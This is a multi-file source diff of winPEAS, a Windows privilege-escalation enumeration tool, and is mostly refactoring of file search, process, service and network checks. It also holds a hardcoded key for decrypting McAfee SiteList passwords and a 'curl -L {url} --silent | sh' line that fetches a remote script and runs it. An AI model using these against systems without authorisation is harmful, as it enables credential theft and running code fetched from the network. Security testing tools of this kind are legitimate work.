files.Add(file_info); files.Add(file_info);
CustomFileInfo file_dir = new CustomFileInfo(f.Directory.Name, "", f.Directory.FullName, 0, true); CustomFileInfo file_dir = new CustomFileInfo(f.Directory.Name, "", f.Directory.FullName, 0, true);
if (!known_dirs.Contains(file_dir.FullPath)) if (known_dirs.TryAdd(file_dir.FullPath, 0))
{ {
known_dirs.Add(file_dir.FullPath);
files.Add(file_dir); files.Add(file_dir);
} }
} }
} }
}
) ;
});
}); });
return files.ToList(); return files.ToList();
} }
private static List<FileInfo> GetFiles(string folder, string pattern = "*") private static List<FileInfo> GetFiles(string folder, string pattern = "*")
{ {
DirectoryInfo dirInfo; DirectoryInfo dirInfo;
@@ -128,16 +241,22 @@ namespace winPEAS.Helpers.Search
return new List<FileInfo>(); return new List<FileInfo>();
} }
List<FileInfo> result = new List<FileInfo>(); ConcurrentBag<FileInfo> result = new ConcurrentBag<FileInfo>();
foreach (var d in directories) Parallel.ForEach(directories, (d) =>
{ {
result.AddRange(GetFiles(d.FullName, pattern)); foreach (var file in GetFiles(d.FullName, pattern))
{
result.Add(file);
} }
});
try try
{ {
result.AddRange(dirInfo.GetFiles(pattern)); foreach (var file in dirInfo.GetFiles(pattern))
{
result.Add(file);
}
} }
catch (UnauthorizedAccessException) catch (UnauthorizedAccessException)
{ {
@@ -152,7 +271,7 @@ namespace winPEAS.Helpers.Search
{ {
} }
return result; return result.ToList();
} }
private static IEnumerable<DirectoryInfo> GetStartDirectories(string folder, ConcurrentBag<CustomFileInfo> files, string pattern, bool isFoldersIncluded = false) private static IEnumerable<DirectoryInfo> GetStartDirectories(string folder, ConcurrentBag<CustomFileInfo> files, string pattern, bool isFoldersIncluded = false)
@@ -169,14 +288,24 @@ namespace winPEAS.Helpers.Search
{ {
foreach (var directory in directories) foreach (var directory in directories)
{ {
if (Checks.Checks.IsLongPath || directory.FullName.Length <= 260)
files.Add(new CustomFileInfo(directory.Name, null, directory.FullName, 0, true)); files.Add(new CustomFileInfo(directory.Name, null, directory.FullName, 0, true));
else if (directory.FullName.Length > 260)
Beaprint.LongPathWarning(directory.FullName);
} }
} }
foreach (var f in dirInfo.GetFiles(pattern)) foreach (var f in dirInfo.GetFiles(pattern))
{ {
if (!StaticExtensions.Contains(f.Extension.ToLower())) if (!StaticExtensions.Contains(f.Extension.ToLower()))
{
if (Checks.Checks.IsLongPath || f.FullName.Length <= 260)
files.Add(new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false)); files.Add(new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false));
else if (f.FullName.Length > 260)
Beaprint.LongPathWarning(f.FullName);
}
} }
if (directories.Length > 1) return new List<DirectoryInfo>(directories); if (directories.Length > 1) return new List<DirectoryInfo>(directories);
@@ -209,43 +338,43 @@ namespace winPEAS.Helpers.Search
{ {
// c:\users // c:\users
string rootUsersSearchPath = $"{SystemDrive}\\Users\\"; string rootUsersSearchPath = $"{SystemDrive}\\Users\\";
SearchHelper.RootDirUsers = SearchHelper.GetFilesFast(rootUsersSearchPath, GlobalPattern, isFoldersIncluded: true); RootDirUsers = GetFilesFast(rootUsersSearchPath, GlobalPattern, isFoldersIncluded: true);
// c:\users\current_user // c:\users\current_user
string rootCurrentUserSearchPath = Environment.GetEnvironmentVariable("USERPROFILE"); string rootCurrentUserSearchPath = Environment.GetEnvironmentVariable("USERPROFILE");
SearchHelper.RootDirCurrentUser = SearchHelper.GetFilesFast(rootCurrentUserSearchPath, GlobalPattern, isFoldersIncluded: true); RootDirCurrentUser = GetFilesFast(rootCurrentUserSearchPath, GlobalPattern, isFoldersIncluded: true);
// c:\Program Files\ // c:\Program Files\
string rootProgramFiles = $"{SystemDrive}\\Program Files\\"; string rootProgramFiles = $"{SystemDrive}\\Program Files\\";
SearchHelper.ProgramFiles = SearchHelper.GetFilesFast(rootProgramFiles, GlobalPattern, isFoldersIncluded: true); ProgramFiles = GetFilesFast(rootProgramFiles, GlobalPattern, isFoldersIncluded: true);
// c:\Program Files (x86)\ // c:\Program Files (x86)\
string rootProgramFilesX86 = $"{SystemDrive}\\Program Files (x86)\\"; string rootProgramFilesX86 = $"{SystemDrive}\\Program Files (x86)\\";
SearchHelper.ProgramFilesX86 = SearchHelper.GetFilesFast(rootProgramFilesX86, GlobalPattern, isFoldersIncluded: true); ProgramFilesX86 = GetFilesFast(rootProgramFilesX86, GlobalPattern, isFoldersIncluded: true);
// c:\Documents and Settings\ // c:\Documents and Settings\
string documentsAndSettings = $"{SystemDrive}\\Documents and Settings\\"; string documentsAndSettings = $"{SystemDrive}\\Documents and Settings\\";
SearchHelper.DocumentsAndSettings = SearchHelper.GetFilesFast(documentsAndSettings, GlobalPattern, isFoldersIncluded: true); DocumentsAndSettings = GetFilesFast(documentsAndSettings, GlobalPattern, isFoldersIncluded: true);
// c:\ProgramData\Microsoft\Group Policy\History // c:\ProgramData\Microsoft\Group Policy\History
string groupPolicyHistory = $"{SystemDrive}\\ProgramData\\Microsoft\\Group Policy\\History"; string groupPolicyHistory = $"{SystemDrive}\\ProgramData\\Microsoft\\Group Policy\\History";
SearchHelper.GroupPolicyHistory = SearchHelper.GetFilesFast(groupPolicyHistory, GlobalPattern, isFoldersIncluded: true); GroupPolicyHistory = GetFilesFast(groupPolicyHistory, GlobalPattern, isFoldersIncluded: true);
// c:\Documents and Settings\All Users\Application Data\\Microsoft\\Group Policy\\History // c:\Documents and Settings\All Users\Application Data\\Microsoft\\Group Policy\\History
string groupPolicyHistoryLegacy = $"{documentsAndSettings}\\All Users\\Application Data\\Microsoft\\Group Policy\\History"; string groupPolicyHistoryLegacy = $"{documentsAndSettings}\\All Users\\Application Data\\Microsoft\\Group Policy\\History";
//SearchHelper.GroupPolicyHistoryLegacy = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, globalPattern); //SearchHelper.GroupPolicyHistoryLegacy = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, globalPattern);
var groupPolicyHistoryLegacyFiles = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern, isFoldersIncluded: true); var groupPolicyHistoryLegacyFiles = GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern, isFoldersIncluded: true);
SearchHelper.GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles); GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles);
} }
internal static void CleanLists() internal static void CleanLists()
{ {
SearchHelper.RootDirUsers = null; RootDirUsers = null;
SearchHelper.RootDirCurrentUser = null; RootDirCurrentUser = null;
SearchHelper.ProgramFiles = null; ProgramFiles = null;
SearchHelper.ProgramFilesX86 = null; ProgramFilesX86 = null;
SearchHelper.DocumentsAndSettings = null; DocumentsAndSettings = null;
SearchHelper.GroupPolicyHistory = null; GroupPolicyHistory = null;
GC.Collect(); GC.Collect();
} }
@@ -258,7 +387,7 @@ namespace winPEAS.Helpers.Search
".*password.*" ".*password.*"
}; };
foreach (var file in SearchHelper.RootDirUsers) foreach (var file in RootDirUsers)
{ {
//string extLower = file.Extension.ToLower(); //string extLower = file.Extension.ToLower();
@@ -285,7 +414,7 @@ namespace winPEAS.Helpers.Search
{ {
var result = new List<string>(); var result = new List<string>();
foreach (var file in SearchHelper.RootDirCurrentUser) foreach (var file in RootDirCurrentUser)
{ {
if (!file.IsDirectory) if (!file.IsDirectory)
{ {
@@ -325,7 +454,7 @@ namespace winPEAS.Helpers.Search
".xml" ".xml"
}; };
foreach (var file in SearchHelper.GroupPolicyHistory) foreach (var file in GroupPolicyHistory)
{ {
if (!file.IsDirectory) if (!file.IsDirectory)
{ {
@@ -349,14 +478,14 @@ namespace winPEAS.Helpers.Search
}; };
string programDataPath = $"{SystemDrive}\\ProgramData\\"; string programDataPath = $"{SystemDrive}\\ProgramData\\";
var programData = SearchHelper.GetFilesFast(programDataPath, GlobalPattern); var programData = GetFilesFast(programDataPath, GlobalPattern);
var searchFiles = new List<CustomFileInfo>(); var searchFiles = new List<CustomFileInfo>();
searchFiles.AddRange(SearchHelper.ProgramFiles); searchFiles.AddRange(ProgramFiles);
searchFiles.AddRange(SearchHelper.ProgramFilesX86); searchFiles.AddRange(ProgramFilesX86);
searchFiles.AddRange(programData); searchFiles.AddRange(programData);
searchFiles.AddRange(SearchHelper.DocumentsAndSettings); searchFiles.AddRange(DocumentsAndSettings);
searchFiles.AddRange(SearchHelper.RootDirUsers); searchFiles.AddRange(RootDirUsers);
foreach (var file in searchFiles) foreach (var file in searchFiles)
{ {
@@ -391,7 +520,7 @@ namespace winPEAS.Helpers.Search
".pdf", ".pdf",
}; };
foreach (var file in SearchHelper.RootDirCurrentUser) foreach (var file in RootDirCurrentUser)
{ {
if (!file.IsDirectory) if (!file.IsDirectory)
{ {
@@ -439,7 +568,7 @@ namespace winPEAS.Helpers.Search
".pdf", ".pdf",
}; };
foreach (var file in SearchHelper.RootDirUsers) foreach (var file in RootDirUsers)
{ {
if (!file.IsDirectory) if (!file.IsDirectory)
{ {

View File

@@ -8,7 +8,8 @@ namespace winPEAS.Helpers.YamlConfig
{ {
public string name { get; set; } public string name { get; set; }
public RegularExpression[] regexes { get; set; } public RegularExpression[] regexes { get; set; }
public class RegularExpression { public class RegularExpression
{
public string name { get; set; } public string name { get; set; }
public string regex { get; set; } public string regex { get; set; }

View File

@@ -1,10 +1,9 @@
using System.Collections.Generic; using System.Collections.Generic;
using System.Yaml.Serialization;
using System.IO; using System.IO;
using System.Reflection;
using System.Linq; using System.Linq;
using System.Reflection;
using System.Yaml.Serialization;
using static winPEAS.Helpers.YamlConfig.YamlConfig; using static winPEAS.Helpers.YamlConfig.YamlConfig;
using static winPEAS.Helpers.YamlConfig.YamlRegexConfig;
namespace winPEAS.Helpers.YamlConfig namespace winPEAS.Helpers.YamlConfig

View File

@@ -1,6 +1,5 @@
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text; using System.Text;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Native; using winPEAS.Native;

View File

@@ -1,10 +1,10 @@
using System; using Microsoft.Win32;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.IO; using System.IO;
using System.Linq; using System.Linq;
using System.Management; using System.Management;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using Microsoft.Win32;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
@@ -204,7 +204,7 @@ namespace winPEAS.Info.ApplicationInfo
{ {
autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name, autorunLocationKey[2] autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name, autorunLocationKey[2]
} }
: new List<string> {autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name}); : new List<string> { autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name });
} }
} }
@@ -343,6 +343,8 @@ namespace winPEAS.Info.ApplicationInfo
usersPath = Directory.GetParent(usersPath).FullName; usersPath = Directory.GetParent(usersPath).FullName;
try try
{
if (Directory.Exists(usersPath))
{ {
var userDirs = Directory.EnumerateDirectories(usersPath); var userDirs = Directory.EnumerateDirectories(usersPath);
@@ -356,6 +358,7 @@ namespace winPEAS.Info.ApplicationInfo
} }
} }
} }
}
catch (Exception) catch (Exception)
{ {
} }
@@ -363,6 +366,8 @@ namespace winPEAS.Info.ApplicationInfo
foreach (string path in autorunLocations) foreach (string path in autorunLocations)
{ {
try try
{
if (Directory.Exists(path))
{ {
var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly); var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
@@ -382,6 +387,7 @@ namespace winPEAS.Info.ApplicationInfo
}); });
} }
} }
}
catch (Exception) catch (Exception)
{ {
} }

View File

@@ -70,6 +70,8 @@ namespace winPEAS.Info.ApplicationInfo
{ {
var results = new SortedDictionary<string, Dictionary<string, string>>(); var results = new SortedDictionary<string, Dictionary<string, string>>();
try try
{
if (Directory.Exists(fpath))
{ {
foreach (string f in Directory.EnumerateFiles(fpath)) foreach (string f in Directory.EnumerateFiles(fpath))
{ {
@@ -83,6 +85,7 @@ namespace winPEAS.Info.ApplicationInfo
results[d] = PermissionsHelper.GetRecursivePrivs(d); results[d] = PermissionsHelper.GetRecursivePrivs(d);
} }
} }
}
catch (Exception ex) catch (Exception ex)
{ {
Beaprint.GrayPrint("Error: " + ex); Beaprint.GrayPrint("Error: " + ex);

View File

@@ -1,6 +1,5 @@
using System.Collections.Generic; using System.Collections.Generic;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Info.EventsInfo.PowerShell;
namespace winPEAS.Info.EventsInfo.ProcessCreation namespace winPEAS.Info.EventsInfo.ProcessCreation
{ {

View File

@@ -127,7 +127,7 @@ namespace winPEAS.Info.FilesInfo.McAfee
byte[] XORKey = { 0x12, 0x15, 0x0F, 0x10, 0x11, 0x1C, 0x1A, 0x06, 0x0A, 0x1F, 0x1B, 0x18, 0x17, 0x16, 0x05, 0x19 }; byte[] XORKey = { 0x12, 0x15, 0x0F, 0x10, 0x11, 0x1C, 0x1A, 0x06, 0x0A, 0x1F, 0x1B, 0x18, 0x17, 0x16, 0x05, 0x19 };
// xor the input b64 string with the static XOR key // xor the input b64 string with the static XOR key
var passwordBytes = System.Convert.FromBase64String(base64password); var passwordBytes = Convert.FromBase64String(base64password);
for (var i = 0; i < passwordBytes.Length; i++) for (var i = 0; i < passwordBytes.Length; i++)
{ {
passwordBytes[i] = (byte)(passwordBytes[i] ^ XORKey[i % XORKey.Length]); passwordBytes[i] = (byte)(passwordBytes[i] ^ XORKey[i % XORKey.Length]);
@@ -135,7 +135,8 @@ namespace winPEAS.Info.FilesInfo.McAfee
SHA1 crypto = new SHA1CryptoServiceProvider(); SHA1 crypto = new SHA1CryptoServiceProvider();
var tDESKey = MyUtils.CombineArrays(crypto.ComputeHash(System.Text.Encoding.ASCII.GetBytes("<!@#$%^>")), new byte[] { 0x00, 0x00, 0x00, 0x00 }); //var tDESKey = MyUtils.CombineArrays(crypto.ComputeHash(System.Text.Encoding.ASCII.GetBytes("<!@#$%^>")), new byte[] { 0x00, 0x00, 0x00, 0x00 });
byte[] tDESKey = { 62, 241, 54, 184, 179, 59, 239, 188, 52, 38, 167, 181, 78, 196, 26, 55, 124, 211, 25, 155, 0, 0, 0, 0 };
// set the options we need // set the options we need
var tDESalg = new TripleDESCryptoServiceProvider(); var tDESalg = new TripleDESCryptoServiceProvider();

View File

@@ -1,9 +1,9 @@
using System; using Microsoft.Win32;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Globalization; using System.Globalization;
using System.Linq; using System.Linq;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using Microsoft.Win32;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
using winPEAS.Info.FilesInfo.Office.OneDrive; using winPEAS.Info.FilesInfo.Office.OneDrive;

View File

@@ -8,7 +8,7 @@ namespace winPEAS.Info.FilesInfo.WSL
{ {
public static void RunLinpeas(string linpeasUrl) public static void RunLinpeas(string linpeasUrl)
{ {
string linpeasCmd = $"curl {linpeasUrl} --silent | sh"; string linpeasCmd = $"curl -L {linpeasUrl} --silent | sh";
string command = Environment.Is64BitProcess ? string command = Environment.Is64BitProcess ?
$@"bash -c ""{linpeasCmd}""" : $@"bash -c ""{linpeasCmd}""" :
Environment.GetEnvironmentVariable("WinDir") + $"\\SysNative\\bash.exe -c \"{linpeasCmd}\""; Environment.GetEnvironmentVariable("WinDir") + $"\\SysNative\\bash.exe -c \"{linpeasCmd}\"";

View File

@@ -1,6 +1,5 @@
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Reflection;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using winPEAS.Helpers; using winPEAS.Helpers;
@@ -25,7 +24,7 @@ namespace winPEAS.Info.NetworkInfo
Type firewall = Type.GetTypeFromCLSID(new Guid("E2B3C97F-6AE1-41AC-817A-F6F92166D7DD")); Type firewall = Type.GetTypeFromCLSID(new Guid("E2B3C97F-6AE1-41AC-817A-F6F92166D7DD"));
object firewallObj = Activator.CreateInstance(firewall); object firewallObj = Activator.CreateInstance(firewall);
object types = ReflectionHelper.InvokeMemberProperty(firewallObj, "CurrentProfileTypes"); object types = ReflectionHelper.InvokeMemberProperty(firewallObj, "CurrentProfileTypes");
result = $"{(FirewallProfiles) int.Parse(types.ToString())}"; result = $"{(FirewallProfiles)int.Parse(types.ToString())}";
} }
catch (Exception ex) catch (Exception ex)
{ {

View File

@@ -191,12 +191,12 @@ namespace winPEAS.Info.NetworkInfo
foreach (var listener in props.GetActiveTcpListeners()) foreach (var listener in props.GetActiveTcpListeners())
{ {
bool repeated = false; bool repeated = false;
foreach(List<string> inside_entry in results) foreach (List<string> inside_entry in results)
{ {
if (inside_entry.SequenceEqual(new List<string>() { "TCP", listener.ToString(), "", "Listening" })) if (inside_entry.SequenceEqual(new List<string>() { "TCP", listener.ToString(), "", "Listening" }))
repeated = true; repeated = true;
} }
if (! repeated) if (!repeated)
results.Add(new List<string>() { "TCP", listener.ToString(), "", "Listening" }); results.Add(new List<string>() { "TCP", listener.ToString(), "", "Listening" });
} }
@@ -337,7 +337,7 @@ namespace winPEAS.Info.NetworkInfo
// Determine if IPv4 or IPv6. // Determine if IPv4 or IPv6.
if (ipVersion == IPVersion.IPv4) if (ipVersion == IPVersion.IPv4)
{ {
MIB_TCPTABLE_OWNER_PID tcpRecordsTable = (MIB_TCPTABLE_OWNER_PID) Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCPTABLE_OWNER_PID)); MIB_TCPTABLE_OWNER_PID tcpRecordsTable = (MIB_TCPTABLE_OWNER_PID)Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCPTABLE_OWNER_PID));
IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries)); IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries));
@@ -373,7 +373,7 @@ namespace winPEAS.Info.NetworkInfo
} }
else if (ipVersion == IPVersion.IPv6) else if (ipVersion == IPVersion.IPv6)
{ {
MIB_TCP6TABLE_OWNER_PID tcpRecordsTable = (MIB_TCP6TABLE_OWNER_PID) Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCP6TABLE_OWNER_PID)); MIB_TCP6TABLE_OWNER_PID tcpRecordsTable = (MIB_TCP6TABLE_OWNER_PID)Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCP6TABLE_OWNER_PID));
IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries)); IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries));
@@ -461,14 +461,14 @@ namespace winPEAS.Info.NetworkInfo
// Determine if IPv4 or IPv6. // Determine if IPv4 or IPv6.
if (ipVersion == IPVersion.IPv4) if (ipVersion == IPVersion.IPv4)
{ {
MIB_UDPTABLE_OWNER_PID udpRecordsTable = (MIB_UDPTABLE_OWNER_PID) Marshal.PtrToStructure(udpTableRecordsPtr, typeof(MIB_UDPTABLE_OWNER_PID)); MIB_UDPTABLE_OWNER_PID udpRecordsTable = (MIB_UDPTABLE_OWNER_PID)Marshal.PtrToStructure(udpTableRecordsPtr, typeof(MIB_UDPTABLE_OWNER_PID));
IntPtr tableRowPtr = (IntPtr)((long)udpTableRecordsPtr + Marshal.SizeOf(udpRecordsTable.dwNumEntries)); IntPtr tableRowPtr = (IntPtr)((long)udpTableRecordsPtr + Marshal.SizeOf(udpRecordsTable.dwNumEntries));
// Read and parse the UDP records from the table and store them in list // Read and parse the UDP records from the table and store them in list
// 'UdpConnection' structure type objects. // 'UdpConnection' structure type objects.
for (int i = 0; i < udpRecordsTable.dwNumEntries; i++) for (int i = 0; i < udpRecordsTable.dwNumEntries; i++)
{ {
MIB_UDPROW_OWNER_PID udpRow = (MIB_UDPROW_OWNER_PID) Marshal.PtrToStructure(tableRowPtr, typeof(MIB_UDPROW_OWNER_PID)); MIB_UDPROW_OWNER_PID udpRow = (MIB_UDPROW_OWNER_PID)Marshal.PtrToStructure(tableRowPtr, typeof(MIB_UDPROW_OWNER_PID));
udpTableRecords.Add(new UdpConnectionInfo( udpTableRecords.Add(new UdpConnectionInfo(
Protocol.UDP, Protocol.UDP,
new IPAddress(udpRow.localAddr), new IPAddress(udpRow.localAddr),

View File

@@ -6,7 +6,7 @@ namespace winPEAS.Info.NetworkInfo.Structs
public struct MIB_UDP6TABLE_OWNER_PID public struct MIB_UDP6TABLE_OWNER_PID
{ {
public uint dwNumEntries; public uint dwNumEntries;
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct,SizeConst = 1)] [MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
public MIB_UDP6ROW_OWNER_PID[] table; public MIB_UDP6ROW_OWNER_PID[] table;
} }
} }

View File

@@ -6,7 +6,7 @@ namespace winPEAS.Info.NetworkInfo.Structs
public struct MIB_UDPTABLE_OWNER_PID public struct MIB_UDPTABLE_OWNER_PID
{ {
public uint dwNumEntries; public uint dwNumEntries;
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct,SizeConst = 1)] [MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
public MIB_UDPROW_OWNER_PID[] table; public MIB_UDPROW_OWNER_PID[] table;
} }
} }

View File

@@ -6,7 +6,6 @@ using System.Linq;
using System.Management; using System.Management;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Security.Principal; using System.Security.Principal;
using System.Text;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using System.Threading.Tasks; using System.Threading.Tasks;
using winPEAS.Helpers; using winPEAS.Helpers;
@@ -33,7 +32,7 @@ namespace winPEAS.Info.ProcessInfo
Proc = p, Proc = p,
Pth = (string)mo["ExecutablePath"], Pth = (string)mo["ExecutablePath"],
CommLine = (string)mo["CommandLine"], CommLine = (string)mo["CommandLine"],
Owner = Helpers.HandlesHelper.GetProcU(p)["name"], //Needed inside the next foreach Owner = HandlesHelper.GetProcU(p)["name"], //Needed inside the next foreach
}; };
foreach (var itm in queRy) foreach (var itm in queRy)
@@ -54,14 +53,16 @@ namespace winPEAS.Info.ProcessInfo
} }
if ((string.IsNullOrEmpty(companyName)) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase))) if ((string.IsNullOrEmpty(companyName)) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase)))
{ {
Dictionary<string, string> to_add = new Dictionary<string, string>(); Dictionary<string, string> to_add = new Dictionary<string, string>
to_add["Name"] = itm.Proc.ProcessName; {
to_add["ProcessID"] = itm.Proc.Id.ToString(); ["Name"] = itm.Proc.ProcessName,
to_add["ExecutablePath"] = itm.Pth; ["ProcessID"] = itm.Proc.Id.ToString(),
to_add["Product"] = companyName; ["ExecutablePath"] = itm.Pth,
to_add["Owner"] = itm.Owner == null ? "" : itm.Owner; ["Product"] = companyName,
to_add["isDotNet"] = isDotNet; ["Owner"] = itm.Owner == null ? "" : itm.Owner,
to_add["CommandLine"] = itm.CommLine; ["isDotNet"] = isDotNet,
["CommandLine"] = itm.CommLine
};
f_results.Add(to_add); f_results.Add(to_add);
} }
} }
@@ -123,11 +124,13 @@ namespace winPEAS.Info.ProcessInfo
string hName = HandlesHelper.GetObjectName(dupHandle); string hName = HandlesHelper.GetObjectName(dupHandle);
Dictionary<string, string> to_add = new Dictionary<string, string>(); Dictionary<string, string> to_add = new Dictionary<string, string>
to_add["Handle Name"] = hName; {
to_add["Handle"] = h.HandleValue.ToString() + "(" + typeName + ")"; ["Handle Name"] = hName,
to_add["Handle Owner"] = "Pid is " + h.UniqueProcessId.ToString() + "(" + origProcInfo.name + ") with owner: " + origProcInfo.userName; ["Handle"] = h.HandleValue.ToString() + "(" + typeName + ")",
to_add["Reason"] = handlerExp.reason; ["Handle Owner"] = "Pid is " + h.UniqueProcessId.ToString() + "(" + origProcInfo.name + ") with owner: " + origProcInfo.userName,
["Reason"] = handlerExp.reason
};
if (typeName == "process" || typeName == "thread") if (typeName == "process" || typeName == "thread")
{ {
@@ -208,7 +211,7 @@ namespace winPEAS.Info.ProcessInfo
else if (typeName == "key") else if (typeName == "key")
{ {
HandlesHelper.KEY_RELEVANT_INFO kri = HandlesHelper.getKeyHandlerInfo(dupHandle); HandlesHelper.KEY_RELEVANT_INFO kri = HandlesHelper.getKeyHandlerInfo(dupHandle);
if (kri.path.Length == 0 && kri.hive != null && kri.hive.Length> 0) if (kri.path.Length == 0 && kri.hive != null && kri.hive.Length > 0)
continue; continue;
RegistryKey regKey = Helpers.Registry.RegistryHelper.GetReg(kri.hive, kri.path); RegistryKey regKey = Helpers.Registry.RegistryHelper.GetReg(kri.hive, kri.path);

View File

@@ -1,4 +1,5 @@
using System; using Microsoft.Win32;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;
using System.Linq; using System.Linq;
@@ -8,10 +9,8 @@ using System.Runtime.InteropServices;
using System.Security.AccessControl; using System.Security.AccessControl;
using System.ServiceProcess; using System.ServiceProcess;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using Microsoft.Win32;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
using winPEAS.KnownFileCreds;
using winPEAS.Native; using winPEAS.Native;
namespace winPEAS.Info.ServicesInfo namespace winPEAS.Info.ServicesInfo
@@ -51,17 +50,18 @@ namespace winPEAS.Info.ServicesInfo
if (string.IsNullOrEmpty(companyName) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase))) if (string.IsNullOrEmpty(companyName) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase)))
{ {
Dictionary<string, string> toadd = new Dictionary<string, string>(); Dictionary<string, string> toadd = new Dictionary<string, string>
{
toadd["Name"] = GetStringOrEmpty(result["Name"]); ["Name"] = GetStringOrEmpty(result["Name"]),
toadd["DisplayName"] = GetStringOrEmpty(result["DisplayName"]); ["DisplayName"] = GetStringOrEmpty(result["DisplayName"]),
toadd["CompanyName"] = companyName; ["CompanyName"] = companyName,
toadd["State"] = GetStringOrEmpty(result["State"]); ["State"] = GetStringOrEmpty(result["State"]),
toadd["StartMode"] = GetStringOrEmpty(result["StartMode"]); ["StartMode"] = GetStringOrEmpty(result["StartMode"]),
toadd["PathName"] = GetStringOrEmpty(result["PathName"]); ["PathName"] = GetStringOrEmpty(result["PathName"]),
toadd["FilteredPath"] = binaryPath; ["FilteredPath"] = binaryPath,
toadd["isDotNet"] = isDotNet; ["isDotNet"] = isDotNet,
toadd["Description"] = GetStringOrEmpty(result["Description"]); ["Description"] = GetStringOrEmpty(result["Description"])
};
results.Add(toadd); results.Add(toadd);
} }
@@ -232,7 +232,7 @@ namespace winPEAS.Info.ServicesInfo
if (permissions.Count > 0) if (permissions.Count > 0)
{ {
string perms = String.Join(", ", permissions); string perms = String.Join(", ", permissions);
if (perms.Replace("Start", "").Replace("Stop","").Length > 3) //Check if any other permissions appart from Start and Stop if (perms.Replace("Start", "").Replace("Stop", "").Length > 3) //Check if any other permissions appart from Start and Stop
results.Add(sc.ServiceName, perms); results.Add(sc.ServiceName, perms);
} }
@@ -249,9 +249,9 @@ namespace winPEAS.Info.ServicesInfo
/////// Find Write reg. Services //////// /////// Find Write reg. Services ////////
////////////////////////////////////////// //////////////////////////////////////////
/// Find Services which Reg you have write or equivalent access /// Find Services which Reg you have write or equivalent access
public static List<Dictionary<string, string>> GetWriteServiceRegs(Dictionary<string,string> NtAccountNames) public static List<Dictionary<string, string>> GetWriteServiceRegs(Dictionary<string, string> NtAccountNames)
{ {
List<Dictionary<string,string>> results = new List<Dictionary<string, string>>(); List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();
try try
{ {
RegistryKey regKey = Registry.LocalMachine.OpenSubKey(@"system\currentcontrolset\services"); RegistryKey regKey = Registry.LocalMachine.OpenSubKey(@"system\currentcontrolset\services");

View File

@@ -1,5 +1,5 @@
using System.Collections.Generic; using Microsoft.Win32;
using Microsoft.Win32; using System.Collections.Generic;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
using winPEAS.Native.Enums; using winPEAS.Native.Enums;

View File

@@ -3,7 +3,6 @@ using System.IO;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Security.AccessControl; using System.Security.AccessControl;
using winPEAS.Native; using winPEAS.Native;
using System.Security.Principal;
namespace winPEAS.Info.SystemInfo.NamedPipes namespace winPEAS.Info.SystemInfo.NamedPipes
@@ -51,7 +50,7 @@ namespace winPEAS.Info.SystemInfo.NamedPipes
{ {
var security = File.GetAccessControl($"\\\\.\\pipe\\{namedPipe}"); var security = File.GetAccessControl($"\\\\.\\pipe\\{namedPipe}");
sddl = security.GetSecurityDescriptorSddlForm(AccessControlSections.All); sddl = security.GetSecurityDescriptorSddlForm(AccessControlSections.All);
List<string> currentUserPermsList = winPEAS.Helpers.PermissionsHelper.GetMyPermissionsF(security, winPEAS.Checks.Checks.CurrentUserSiDs); List<string> currentUserPermsList = Helpers.PermissionsHelper.GetMyPermissionsF(security, Checks.Checks.CurrentUserSiDs);
